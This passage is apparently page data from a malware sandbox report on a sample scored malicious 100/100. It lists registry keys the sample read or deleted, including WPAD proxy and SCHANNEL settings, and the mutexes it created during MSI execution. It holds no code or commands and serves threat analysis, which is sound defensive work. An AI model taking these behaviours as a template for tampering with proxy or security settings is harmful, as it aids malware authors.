SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MSILOG_dce8206e1d9149eGOL.5056ISM_pmeT_lacoL_ataDppA_GSghuzn_sresU_:C","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Global\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Global\\MSILOG_dce8206e1d9149eGOL.5056ISM_pmeT_lacoL_ataDppA_GSghuzn_sresU_:C","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\BaseNamedObjects\\Local\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"\\BaseNamedObjects\\Local\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}]}},"report_ids":{"sandbox_job_ids":["63a2085a06bf7a3e353de93b"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Sample fc07a2468faf… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample fc07a2468faf…. Threat score 100/100. 0/0 AV engines flagged this file. 6 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample fc07a2468faf… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample fc07a2468faf…. Threat score 100/100. 0/0 AV engines flagged this file. 6 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample fc07a2468faf… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample fc07a2468faf…. Threat score 100/100. 0/0 AV engines flagged this file. 6 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L33","11",{}]]